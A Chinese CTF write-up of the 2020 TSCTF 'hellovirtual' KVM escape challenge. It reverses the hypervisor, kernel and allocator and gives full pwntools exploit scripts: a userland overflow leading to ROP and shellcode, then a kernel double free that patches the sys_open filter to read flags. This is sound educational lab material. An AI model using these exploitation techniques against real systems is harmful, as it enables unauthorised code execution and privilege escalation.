zoukankan      html  css  js  c++  java
  • 2020 TSCTF hellovirtual

    是一个虚拟化的题目,在2018 hitcon abyss改编的题目。这里给出了三个文件hellovirtual,hellokernel,hellousr,还给出了ld.so.2,libc.so.6

    hellovirtual是一个利用KVM api来做虚拟化的程序,它会加载一个小型的内核hellokernel,这个内核仅仅实现了内存管理和程序中断的功能,提供了loader启动和libc加载的一些syscall。然后解析ELF启动一个用户态的程序,这里直接使用的是ld.so.2来加载hellousrhellousr是一个用户态的程序可以直接在主机上运行。执行流程就是用户态程序hellousr发生系统调用时,hellokernel对系统调用进行一些检查,将一些与IO相关的比如read,write通过I/O Prot(CPU in/out指令)交给hellovirtual处理。

    分析

    virtual

    先来看virtual也就是kvm。先放出几个常用的结构体,和操作的十六进制值。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    struct kvm_memory_region
    {
    unsigned __int32 slot;
    unsigned __int32 flags;
    unsigned __int64 guest_phys_addr;
    unsigned __int64 memory_size;
    };

    struct kvm_userspace_memory_region
    {
    unsigned __int32 slot;
    unsigned __int32 flags;
    unsigned __int64 guest_phys_addr;
    unsigned __int64 memory_size;
    unsigned __int64 userspace_addr;
    };
    struct kvm_segment
    {
    unsigned __int64 base;
    unsigned __int32 limit;
    unsigned __int16 selector;
    unsigned __int8 type;
    unsigned __int8 present;
    unsigned __int8 dpl;
    unsigned __int8 db;
    unsigned __int8 s;
    unsigned __int8 l;
    unsigned __int8 g;
    unsigned __int8 avl;
    unsigned __int8 unusable;
    unsigned __int8 padding;
    };
    struct kvm_dtable
    {
    unsigned __int64 base;
    unsigned __int16 limit;
    unsigned __int16 padding[3];
    };
    struct kvm_sregs
    {
    struct kvm_segment cs;
    struct kvm_segment ds;
    struct kvm_segment es;
    struct kvm_segment fs;
    struct kvm_segment gs;
    struct kvm_segment ss;
    struct kvm_segment tr;
    struct kvm_segment ldt;
    struct kvm_dtable gdt;
    struct kvm_dtable idt;
    unsigned __int64 cr0;
    unsigned __int64 cr2;
    unsigned __int64 cr3;
    unsigned __int64 cr4;
    unsigned __int64 cr8;
    unsigned __int64 efer;
    unsigned __int64 apic_base;
    unsigned __int64 interrupt_bitmap[4];
    };
    #define KVM_GET_API_VERSION _IO(KVMIO, 0x00)
    #define KVM_CREATE_VM _IO(KVMIO, 0x01) /* returns a VM fd */
    #define KVM_GET_VCPU_MMAP_SIZE _IO(KVMIO, 0x04) /* in bytes */
    #define KVM_CREATE_VCPU _IO(KVMIO, 0x41)
    #define KVM_SET_USER_MEMORY_REGION _IOW(KVMIO, 0x46, struct kvm_userspace_memory_region)
    #define KVM_RUN _IO(KVMIO, 0x80)
    #define KVM_GET_REGS _IOR(KVMIO, 0x81, struct kvm_regs)
    #define KVM_SET_REGS _IOW(KVMIO, 0x82, struct kvm_regs)
    #define KVM_GET_SREGS _IOR(KVMIO, 0x83, struct kvm_sregs)
    #define KVM_SET_SREGS _IOW(KVMIO, 0x84, struct kvm_sregs)
    #define KVM_EXIT_IO 2
    #define KVM_EXIT_HLT 5
    #define KVM_EXIT_FAIL_ENTRY 9
     

    一个典型的vm调用如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    // 获取 kvm 句柄
    kvm = open("/dev/kvm", O_RDWR | O_CLOEXEC);
    if (kvm == -1)
    err(1, "/dev/kvm");

    // 确保是正确的 API 版本
    ret = ioctl(kvm, KVM_GET_API_VERSION, NULL);
    if (ret == -1)
    err(1, "KVM_GET_API_VERSION");
    if (ret != 12)
    errx(1, "KVM_GET_API_VERSION %d, expected 12", ret);

    // 创建一虚拟机
    vmfd = ioctl(kvm, KVM_CREATE_VM, (unsigned long)0);
    if (vmfd == -1)
    err(1, "KVM_CREATE_VM");

    // 为这个虚拟机申请内存,并将代码(镜像)加载到虚拟机内存中
    mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    if (!mem)
    err(1, "allocating guest memory");
    memcpy(mem, code, sizeof(code));

    // 为什么从 0x1000 开始呢,因为页表空间的前4K是留给页表目录
    struct kvm_userspace_memory_region region = {
    .slot = 0,
    .guest_phys_addr = 0x1000,
    .memory_size = 0x1000,
    .userspace_addr = (uint64_t)mem,
    };
    // 设置 KVM 的内存区域
    ret = ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, &region);
    if (ret == -1)
    err(1, "KVM_SET_USER_MEMORY_REGION");

    // 创建虚拟CPU
    vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, (unsigned long)0);
    if (vcpufd == -1)
    err(1, "KVM_CREATE_VCPU");

    // 获取 KVM 运行时结构的大小
    ret = ioctl(kvm, KVM_GET_VCPU_MMAP_SIZE, NULL);
    if (ret == -1)
    err(1, "KVM_GET_VCPU_MMAP_SIZE");
    mmap_size = ret;
    if (mmap_size < sizeof(*run))
    errx(1, "KVM_GET_VCPU_MMAP_SIZE unexpectedly small");
    // 将 kvm run 与 vcpu 做关联,这样能够获取到kvm的运行时信息
    run = mmap(NULL, mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
    if (!run)
    err(1, "mmap vcpu");

    // 获取特殊寄存器
    ret = ioctl(vcpufd, KVM_GET_SREGS, &sregs);
    if (ret == -1)
    err(1, "KVM_GET_SREGS");
    // 设置代码段为从地址0处开始,我们的代码被加载到了0x0000的起始位置
    sregs.cs.base = 0;
    sregs.cs.selector = 0;
    // KVM_SET_SREGS 设置特殊寄存器
    ret = ioctl(vcpufd, KVM_SET_SREGS, &sregs);
    if (ret == -1)
    err(1, "KVM_SET_SREGS");

    // 设置代码的入口地址,相当于32位main函数的地址,这里16位汇编都是由0x1000处开始。
    // 如果是正式的镜像,那么rip的值应该是类似引导扇区加载进来的指令
    struct kvm_regs regs = {
    .rip = 0x1000,
    .rax = 2, // 设置 ax 寄存器初始值为 2
    .rbx = 2, // 同理
    .rflags = 0x2, // 初始化flags寄存器,x86架构下需要设置,否则会粗错
    };
    ret = ioctl(vcpufd, KVM_SET_REGS, &regs);
    if (ret == -1)
    err(1, "KVM_SET_REGS");

    // 开始运行虚拟机,如果是qemu-kvm,会用一个线程来执行这个vCPU,并加载指令
    while (1) {
    // 开始运行虚拟机
    ret = ioctl(vcpufd, KVM_RUN, NULL);
    if (ret == -1){
    //错误检测
    }
    }
     

    但是在pwn题目中我们最为关心的是程序保护开启的情况,现在知道的NEX保护也就是不可执行保护是通过ERREF寄存器开启的,我们看一下该寄存器的定义

    图片无法显示,请联系作者

     

    我们看到NXE标志位是1<<11,0x800。通过ioctl(vcpufd, KVM_SET_SREGS, &sregs)来设置寄存器的值,而virtual中并没有对该位进行设置,因此可以判断程序是没有开启NX保护的。

    图片无法显示,请联系作者

     

    根据上面的ioctl,request的十六进制可以看到vcpu的运行是在偏移0x171a的位置。发生EXIT_IO的时候程序执行了两个函数

    图片无法显示,请联系作者

     

    由于第一个函数是输出错误,因此判断第二个函数是处理IO相关系统调用的函数,根据函数内部的输出信息结合kernel我们可以得到最终的kernelhypervisor的交互情况。

    图片无法显示,请联系作者

     

    kernel

    在逆向内核的部分的时候主要关注的有两个点

    • 内核地址空间,用户地址空间,页表
    • 系统调用表。

    首先是entry.s,最开始的位置,从名称中我们也能看出来,该部分的代码应该是内核的起始代码,在代码中首先将参数取出,随后调用了一个函数,随后就一直执行hlt。该函数应该就是kernel_main函数。

    图片无法显示,请联系作者

     

    结合源码来看kernel_main函数中首先是初始化了页表,接着初始化了内存分配器,注册系统调用,最后切换到用户空间

    图片无法显示,请联系作者

     

    我们看一下初始化页表的操作

    图片无法显示,请联系作者

     

    在初始化页表中,首先读取了rc3寄存器的值赋值给了pml4

    cr3寄存器是页目录基址寄存器,保存页表目录表的物理地址。pml4是页表四级映射表。

    从循环中可以看出空间的总共大小为0x2000000,该控件包含用户空间和内核空间。该部分的大小也可以从virtual中得到。从int_allocator函数的调用中我们可以得到内核空间的BASE地址为0x8000000000init_allocator是做了一个0x8000000000-0x80020000000x0-0x2000000的映射。init_allocator中的while循环实际上是一个memset的过程。

    接下来就是注册系统调用了,这里采用的是__writemsr函数来写模式定义寄存器(Model Specific Register (wrmsr) ),这里声明了syscall入口,也就是syscall_entry函数的地址

    图片无法显示,请联系作者

     

    注册完毕系统调用之后就是切换到用户空间执行hellousr

    图片无法显示,请联系作者

     

    系统调用表

    syscall_entry中继续进行分析,该函数的特征也很明显,进行了一大堆的保存和恢复寄存器的操作,也就是push/pop。中间调用的函数就是syscall_handler了。从汇编代码中分析,主要是根据rax也就是系统调用号跳转到相应的函数去执行,函数的地址= syscall_table+rax*8。这样我们就找到了系统调用表。根据64位的系统调用号恢复出系统调用表

    图片无法显示,请联系作者

     

    其实该表就位于初始分析时棕黄色部分的起始位置。每一个syscall系统调用都会对应一个hypervisor的对应的处理函数。

    usr

    用户态程序很简单,当申请的team=10时,edit name编辑会造成一个字节溢出,覆写solgan的低一字节为0

    bypass userspace

    多层穿透的题目一般有多个flag,相当于每一层都有一个flag,先从用户层看起,也就是hellousr。程序的漏洞很明显,在分配team超过10的时候会有一个字节的溢出,会将slogan指针的低一字节覆写为0,控制好堆布局就可以将该指针指向team 9的控制堆块,也就是可以通过10控制9实现任意地址的写,而又给出了elf,libc,stack三个地址中的一个地址,这里选择elf地址,通过任意地址写将bss段中判断泄露地址函数执行次数的变量改写,从而多次泄露得到libc,stack地址。之后通过任意地址写直接覆写返回地址为rop chain。正常情况下这里应该已经可以读取出flag来了。

    但是kernel中对open的系统调用进行了处理,我们看一下

    图片无法显示,请联系作者

     

    只能打开特定的文件,这里看到对flag进行了处理,我们看一下hook函数

    图片无法显示,请联系作者

     

    程序首先打开了flag文件,接着mmap了一块内存,并将flag的内容读取到了mmap的地址空间中,并将该地址空间的权限设置为了2也就是仅可写的权限,最后返回给了用户mmap地址空间中的地址。

    注意到是没有开启NX的,因此可以直接执行shellcode。因此我们的rop chain设置如下,不知道为什么最开始直接在shellcode中写flag不行(推测是地址的问题,不知道这东西怎么调试)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    shellcode = asm(shellcraft.open('flag', 0, 0))
    # shellcode += asm('mov rbp,rax;')
    # shellcode += asm(shellcraft.mprotect('rbp', 0x1000, 7))
    # shellcode += asm(shellcraft.write(1, 'rbp', 0x100))
    # shellcode += asm(shellcraft.exit(0))

    shellcode += asm("""

    mov rbp, rax
    mov rdi, rbp
    mov rsi, 0x1000
    mov rdx, 7
    mov rax, 0xa
    syscall

    mov rsi, rbp
    mov rdi, 1
    mov rdx, 0x100
    mov rax, 0x1
    syscall

    flag: .string "flag"
    buf:
    """)
     

    EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    # encoding=utf-8
    from pwn import *

    file_path = "./hellouser"
    context.arch = "amd64"
    context.log_level = "debug"
    context.terminal = ['tmux', 'splitw', '-h']
    elf = ELF("./hellouser")
    debug = 0
    if debug:
    p = process(argv=["./hellovirtual", "./hellokernel", "./ld.so.2", "./hellouser"])
    # p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x13a8) b *$rebase(0x14da)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

    else:
    p = remote('10.104.255.213', 8888)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0


    def add(size, content=b"1", name=b"1 "):
    p.sendlineafter("your choice:", "1")
    p.sendafter("team name:", name)
    p.sendlineafter("slogan size:", str(size))
    p.sendafter("team slogan:", content)


    def delete(index):
    p.sendlineafter("your choice:", "2")
    p.sendlineafter("team id:", str(index))


    def edit_content(index, content):
    p.sendlineafter("your choice:", "3")
    p.sendlineafter("your team id:", str(index))
    p.sendafter("new slogan:", content)


    def edit_name(index, name):
    p.sendlineafter("your choice:", "4")
    p.sendlineafter("your team id:", str(index))
    p.sendafter("new name:", name)


    def magic(index, magic_index):
    magic_dic = ["stackbase", "codebase", "libcbase"]
    p.sendlineafter("your choice:", "4919")
    p.sendlineafter("your team id:", str(index))
    p.sendlineafter("do you want?", magic_dic[magic_index])


    magic_limit_address = 0x2030b8
    name = "1" * 0x1
    p.sendafter("you name:)", name)
    add(0x28, b"1", cyclic(29))
    for i in range(8):
    add(0xa8, b"1", cyclic(29))
    add(0x8, b"1", cyclic(29))
    add(0x68, b"1", cyclic(29))
    edit_name(10, b"1" * 29)
    magic(10, 1)
    p.recvuntil("[+]code: ")
    elf.address = int(p.recvline().strip(b" "), 16) - 0xcba
    log.success("elf address {}".format(hex(elf.address)))

    payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(elf.address + magic_limit_address) + p64(0xff)
    edit_content(10, payload)
    edit_content(9, p32(0xff) + p32(0x1))

    magic(9, 2)
    p.recvuntil("[+]libc: ")
    libc.address = int(p.recvline().strip(b" "), 16) - libc.sym['_IO_2_1_stdout_']
    log.success("libc address {}".format(hex(libc.address)))

    edit_content(9, p32(0xff) + p32(0x1))
    magic(9, 0)
    p.recvuntil("[+]stack: ")
    stack_address = int(p.recvline().strip(b" "), 16)
    log.success("stack address {}".format(hex(stack_address)))

    payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(stack_address + 0x48) + p64(0x200)
    edit_content(10, payload)

    p_rdi_r = 0x000000000002155f + libc.address
    p_rsi_r = 0x0000000000023e8a + libc.address
    p_rdx_r = 0x0000000000001b96 + libc.address
    p_rax_r = 0x0000000000043a78 + libc.address
    syscall = 0x00000000000d29d5 + libc.address
    jmp_rsp = 0x0000000000002b1d + libc.address
    push_rax = 0x000000000001e8a8 + libc.address
    mov_rdx_rax = 0x00000000001417ad + libc.address
    mov_rsi_rdx_jmp_rcx = 0x0000000000153cd9 + libc.address
    p_rcx_rbx_r = 0x0000000000103daa + libc.address

    flag_str_address = stack_address + 0x48 + 0xe0

    flag_write_address = flag_str_address + 0x10

    shellcode = asm(shellcraft.open('flag', 0, 0))

    shellcode += asm("""

    mov rbp, rax
    mov rdi, rbp
    mov rsi, 0x1000
    mov rdx, 7
    mov rax, 0xa
    syscall

    mov rsi, rbp
    mov rdi, 1
    mov rdx, 0x100
    mov rax, 0x1
    syscall

    flag: .string "flag"
    buf:
    """)

    # gdb.attach(p, "b *$rebase(0x173E)")
    edit_content(9, p64(jmp_rsp) + shellcode)
    # edit_content(9, p64(jmp_rsp) + shellcode)

    p.interactive()
     

    bypass kernel

    这个是参考官方的WP

    图片无法显示,请联系作者

     

    说明这个函数调用表是一个0x2333大小的表,在处理系统调用号为0x2333的时候实现了一个自己的函数,我们看一下,实现了一个简单的菜单,主要有new,show,edit,delete四个功能。也就是可以从用户空间分配内核空间的堆块。

    图片无法显示,请联系作者

     

    这里主要存在了两个漏洞,一个是show中的任意读漏洞,另一个就是delete函数中的UAF漏洞。由于kernel对用户空间进行的open进行了过滤,并且只能打开flag,因此这一步我们需要达到内核任意写的效果,通过内核的任意写改写内核代码中open的过滤的规则,从而可以打开任意的文件。

    不过这里的kmalloc,kfree是作者自己编写的,我们需要逆向一下,逆向之后的代码贴在后面了,从逆向结果中我们可以得到chunk的结构如下

    1
    2
    |    size    |    0    | << chunk header
    | fd |---------| << chunk
     

    分配chunk的时候size需要是0x10对齐的,并且分配出来的chunk是以0x80为单位。堆的管理共分为两个部分,称之为unsorted binsorted bin。分配的时候如果没有特殊的情况则首先从sorted bin中进行分配,sorted bin中的堆块是按照从小到大的顺序进行排列的,如果sorted bin中没有合适的堆块,那么则在unsorted bin中分配。在释放的时候如果堆块和unsorted bin相邻,则将释放的堆块和unsorted bin进行合并。

    可以看到kernel内部的堆块分配和释放除了对size进行了检查之外其他的并没有任何的安全检查。我们可以利用double free分配堆块到buf_list(0x159c0)中,利用size_list(0x159c8)中记录的堆块size作为伪造堆块的size

    各个重要结构体的偏移如下

    1
    2
    3
    4
    5
    buf_list->0x159c0
    size_list->0x159c8
    unsorted bin->0x15AC0
    unsorted bin size->0x15AC8
    sorted bins->0x15AE0
     
    • 首先构造double free
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    shellcode = add_kernel(0, 0xf0) * 30 # 防止kernel中原有的chunk的干扰(删除也可)
    shellcode = add_kernel(0, 0x100) # fake chunk size
    shellcode += add_kernel(1, 0xf0)
    shellcode += add_kernel(2, 0xf0)
    shellcode += add_kernel(3, 0xf0)
    shellcode += delete_kernel(1) * 2 # double free
    # shellcode += asm('''
    # dbg:
    # jmp dbg;
    # ''')
     

    图片无法显示,请联系作者

     

    /dev/zero就是hypervisor监管的内存了,内核空间和用户空间都在这里,调试的方法就是在shellcode中加上无限循环的shellcode,在程序陷入循环的时候使用gdb attach上去,查看内存是否发生了改变。从上面我们可以看到已经出现了double free

    • 覆写free chunk->fd指向size_list,分配得到chunk_list的堆块,此时我们即可以控制chunk_list
    1
    2
    3
    4
    shellcode += asm(shellcraft.read(0, stack_address, 0xf0)) # 读取我们需要修改改的内容
    shellcode += edit_kernel(1, 3, stack_address)
    shellcode += add_kernel(4, 0xf0)
    shellcode += add_kernel(5, 0xf0) # chunk_list buf
     
    • 覆写chunk_list指向open函数的代码段,覆写open的代码使得文件名的过滤失效。首先我们看一下代码在什么位置。

    图片无法显示,请联系作者

     

    只要将0xb73处的jnz条件跳转patch掉就可以打开任意的文件了。所以我们将chunk_list中的某一个chunkptr指向该地址,随后修改。

    • patch sys_open调用,打开任意文件。
    1
    2
    shellcode += edit_kernel(5, 0xb, stack_address+0x8) # write sys_open code address to chunk_list
    shellcode += edit_kernel(2, 2, stack_address+0x20) # patch sys_open
     

    图片无法显示,请联系作者

     

    从上图中我们可以看到已经成功patchsys_open的函数,现在可以打开任意的文件了。之后就是打开flag文件读取flag的过程了,题目中给出了第二个flag文件的文件名。

    1
    2
    3
    4
    shellcode += asm(shellcraft.open('flag_xmzyshypnctql', 0))
    shellcode += asm(shellcraft.read(3, stack_address, 0x40))
    shellcode += asm(shellcraft.write(1, stack_address, 0x40))
    shellcode += asm(shellcraft.exit(0))
     

    其中stack中的内容如下

    1
    2
    3
    payload = b'xc8x59x01'.ljust(8, b'x00') + p32(0xdeadbeef) * 2 + b'x73x0bx00'
    payload = payload.ljust(0x20, b'x00')
    payload += b'x90' * 2
     

    EXP

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    # encoding=utf-8
    from pwn import *

    file_path = "./hellouser"
    context.arch = "amd64"
    context.log_level = "debug"
    context.terminal = ['tmux', 'splitw', '-h']
    elf = ELF("./hellouser")
    debug = 1
    if debug:
    p = process(argv=["./hellovirtual", "./hellokernel", "./ld.so.2", "./hellouser"])
    # p = process([file_path])
    # gdb.attach(p, "b *$rebase(0x13a8) b *$rebase(0x14da)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0

    else:
    p = remote('10.104.255.213', 8888)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    one_gadget = 0x0


    def add(size, content=b"1", name=b"1 "):
    p.sendlineafter("your choice:", "1")
    p.sendafter("team name:", name)
    p.sendlineafter("slogan size:", str(size))
    p.sendafter("team slogan:", content)


    def delete(index):
    p.sendlineafter("your choice:", "2")
    p.sendlineafter("team id:", str(index))


    def edit_content(index, content):
    p.sendlineafter("your choice:", "3")
    p.sendlineafter("your team id:", str(index))
    p.sendafter("new slogan:", content)


    def edit_name(index, name):
    p.sendlineafter("your choice:", "4")
    p.sendlineafter("your team id:", str(index))
    p.sendafter("new name:", name)


    def magic(index, magic_index):
    magic_dic = ["stackbase", "codebase", "libcbase"]
    p.sendlineafter("your choice:", "4919")
    p.sendlineafter("your team id:", str(index))
    p.sendlineafter("do you want?", magic_dic[magic_index])


    def add_kernel(index, size):
    return asm(
    '''
    mov rax, 0x2333;
    mov rdi, 1;
    mov rsi, %d;
    mov rdx, %d;
    xor r8, r8;
    syscall;
    '''% (index, size)
    )


    def show_kernel(index, size, offset):
    return asm(
    '''
    mov rax, 0x2333;
    mov rdi, 2;
    mov rsi, %d;
    mov rdx, %d;
    mov rcx, %d;
    xor rdx, rdx;
    xor r8, r8;
    syscall;
    '''% (index, size, offset)
    )


    def edit_kernel(index, size, content_buf):
    return asm(
    '''
    mov rax, 0x2333;
    mov rdi, 3;
    mov rsi, %d;
    xor rcx, rcx;
    mov rdx, %d;
    movabs r8, %ld;
    syscall;
    ''' % (index, size, content_buf)
    )


    def delete_kernel(index):
    return asm(
    '''
    mov rax, 0x2333;
    mov rdi, 4;
    mov rsi, %d;
    xor rdx, rdx;
    xor rcx, rcx;
    xor r8, r8;
    syscall;
    '''% (index)
    )


    magic_limit_address = 0x2030b8
    name = "1" * 0x1
    p.sendafter("you name:)", name)
    add(0x28, b"1", cyclic(29))
    for i in range(8):
    add(0xa8, b"1", cyclic(29))
    add(0x8, b"1", cyclic(29))
    add(0x68, b"1", cyclic(29))
    edit_name(10, b"1" * 29)
    magic(10, 1)
    p.recvuntil("[+]code: ")
    elf.address = int(p.recvline().strip(b" "), 16) - 0xcba
    log.success("elf address {}".format(hex(elf.address)))

    payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(elf.address + magic_limit_address) + p64(0xff)
    edit_content(10, payload)
    edit_content(9, p32(0xff) + p32(0x1))

    magic(9, 2)
    p.recvuntil("[+]libc: ")
    libc.address = int(p.recvline().strip(b" "), 16) - libc.sym['_IO_2_1_stdout_']
    log.success("libc address {}".format(hex(libc.address)))

    edit_content(9, p32(0xff) + p32(0x1))
    magic(9, 0)
    p.recvuntil("[+]stack: ")
    stack_address = int(p.recvline().strip(b" "), 16)
    log.success("stack address {}".format(hex(stack_address)))

    payload = p64(0) + p64(0x51) + p64(0) * 4 + p64(stack_address + 0x48) + p64(0x200)
    edit_content(10, payload)
    jmp_rsp = 0x0000000000002b1d + libc.address


    shellcode = add_kernel(0, 0xf0)*30
    shellcode += add_kernel(0, 0x100)
    shellcode += add_kernel(1, 0xf0)
    shellcode += add_kernel(2, 0xf0)
    shellcode += add_kernel(3, 0xf0)
    shellcode += delete_kernel(1)*2
    shellcode += asm(shellcraft.read(0,stack_address,0xf0))
    shellcode += edit_kernel(1, 3, stack_address)
    shellcode += add_kernel(4, 0xf0)
    shellcode += add_kernel(5, 0xf0)
    shellcode += edit_kernel(5, 0xb, stack_address+0x8)
    shellcode += edit_kernel(2, 2, stack_address+0x20)
    shellcode += asm(shellcraft.open('flag_xmzyshypnctql', 0))
    shellcode += asm(shellcraft.read(3, stack_address, 0x40))
    shellcode += asm(shellcraft.write(1, stack_address, 0x40))
    shellcode += asm(shellcraft.exit(0))

    orw_shellcode = asm(shellcraft.read(0, stack_address + 0x30 + 0x50, 0x1000))
    orw_shellcode = orw_shellcode.ljust(0x30, b"x90")

    read_flag_shellcode = asm(shellcraft.open('flag', 0, 0))

    read_flag_shellcode += asm("""

    mov rbp, rax
    mov rdi, rbp
    mov rsi, 0x1000
    mov rdx, 7
    mov rax, 0xa
    syscall

    mov rsi, rbp
    mov rdi, 1
    mov rdx, 0x100
    mov rax, 0x1
    syscall

    flag: .string "flag"
    buf:
    """)

    # gdb.attach(p, "b *$rebase(0x173E)")
    edit_content(9, p64(jmp_rsp) + orw_shellcode)

    p.send(shellcode)
    # p.send(read_flag_shellcode)

    # raw_input()
    #
    payload = b'xc8x59x01'.ljust(8, b'x00') + p32(0xdeadbeef) * 2 + b'x73x0bx00'
    payload = payload.ljust(0x20, b'x00')
    payload += b'x90' * 2

    p.send(payload)

    p.interactive()
     

    kmalloc,kfree

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    // kmalloc
    __int64 __usercall kmalloc@<rax>(unsigned __int64 size@<rdi>, unsigned __int64 a2@<rsi>)
    {
    unsigned __int64 align_size; // r8
    __int64 bin; // rsi
    __int64 current_sorted_bin; // rdx
    unsigned __int64 current_size; // rax
    bool is_current_size_conmfort; // zf
    __int64 next_chunk; // rcx
    __int64 result; // rax
    _QWORD *v9; // rcx
    __int64 v10; // [rsp+0h] [rbp-10h]

    if ( size > 0xFFFFFFFF )
    return 0i64;
    align_size = size + 0x10;
    if ( ((size + 0x10) & 0x7F) != 0 )
    align_size = (align_size & 0xFFFFFFFFFFFFFF80ui64) + 0x80;
    if ( a2 )
    {
    if ( a2 != 0x1000 )
    panic("kmalloc.c#kmalloc: invalid alignment");
    if ( ((0xFF0 - MEMORY[0x15AC0]) & 0xFFF) == 0 || malloc_unsorted((0xFF0 - MEMORY[0x15AC0]) & 0xFFF) )// 检测剩余的大小是否符合要求
    {
    malloc_unsorted(align_size);
    kfree(v9);
    result = v10;
    if ( v10 )
    {
    if ( (v10 & 0xFFF) == 0 )
    return result;
    panic("kmalloc.c#kmalloc: alignment request failed");
    }
    }
    }
    else
    {
    bin = MEMORY[0x15AE0];
    current_sorted_bin = 0x15AD0i64;
    while ( bin )
    {
    current_size = *bin;
    if ( (*bin - 1i64) > 0xFFFFFFFE || (current_size & 0xF) != 0 )// 对size进行检查
    {
    panic("kmalloc.c: invalid size of sorted bin");
    LABEL_12:
    *(current_sorted_bin + 0x10) = next_chunk;// 切割sorted bin,这里直接将fd指定为下一个堆块
    if ( !is_current_size_conmfort )
    {
    *(bin + align_size) = current_size - align_size;
    insert_chunk((bin + align_size)); // 插入切割之后的堆块
    }
    result = bin + 0x10;
    *bin = align_size;
    *(bin + 8) = 0i64;
    if ( bin != 0xFFFFFFFFFFFFFFF0ui64 )
    return result;
    break;
    }
    is_current_size_conmfort = align_size == current_size;// 当前的sorted bin size是否合适
    next_chunk = *(bin + 0x10);
    if ( align_size <= current_size )
    goto LABEL_12;
    current_sorted_bin = bin;
    bin = *(bin + 0x10);
    }
    result = malloc_unsorted(align_size);
    if ( result )
    return result;
    }
    return 0i64;
    }
    // kfree
    _QWORD *__usercall kfree@<rax>(_QWORD *chunk@<rdi>)
    {
    __int64 size; // rsi
    _QWORD *chunk_header; // r8
    _QWORD *next_chunk; // rax

    if ( chunk )
    {
    size = *(chunk - 2);
    chunk_header = chunk - 2;
    if ( (size - 1) > 0xFFFFFFFE || (size & 0xF) != 0 )// size>0 并且0x10对齐
    {
    panic("kmalloc.c#kfree: invalid size");
    }
    else
    {
    memset(chunk, 0, size - 0x10); // 清空了chunk
    next_chunk = (chunk_header + size);
    if ( MEMORY[0x15AC0] == (chunk_header + size) )// chunk 合并
    {
    MEMORY[0x15AC0] = chunk - 2;
    MEMORY[0x15AC8] += size;
    *(chunk - 2) = 0i64;
    return next_chunk;
    }
    }
    next_chunk = insert_chunk(chunk_header); // 按照从小到大插入chunk
    }
    return next_chunk;
    }
  • 相关阅读:
    专题一 Java基础语法
